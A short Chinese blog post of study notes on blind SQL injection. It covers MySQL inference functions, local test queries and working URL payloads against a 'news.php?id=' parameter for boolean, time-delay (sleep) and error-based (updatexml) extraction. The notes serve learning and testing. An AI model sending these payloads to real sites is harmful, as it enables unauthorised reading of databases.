SQL注入-盲注

作者:xiaowu 日期: 分类:xiaowu 浏览:1369

image.png

参考: like 'ro%': #判断 ro 或 ro...是否成立 

regexp '^xiaodi[a-z]': #匹配 xiaodi 及 xiaodi...等 

if(条件,5,0): #条件成立 返回 5 反之 返回 0 

sleep(5): #SQL 语句延时执行 5 秒

mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位 

substr(a,b,c) :#从位置 b 开始,截取字符串 a 的 c 长度 

left(database(),1),database(): #left(a,b)从左侧截取 a 的前 b 位

length(database())=8: #判断数据库 database()名的长度 

ord=ascii ascii(x)=97: #判断 x 的 ascii 码是否等于 97 

举例: 基本知识本地测试select * from member where username like 'vi%'; 

select * from member where username regexp '^x'; 

select * from member where id=1 and sleep(1); 

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

  • 布尔盲注
    /blog/news.php?id=1 and length(database())=7

    • 当有数据时,会返回一个页面,但不会像之前直接爆出数据

  • 延时注入
    /blog/news.php?id=1 and if(1=1,sleep(5),0)

    • if(条件,成立sleep(x),1)

    • if,sleep

  • 报错注入
    https://www.jianshu.com/p/bc35f8dd4f7c
    例:/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

    • 写代码时开启报错回显

  • 注入功能

    • 增删改查


关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。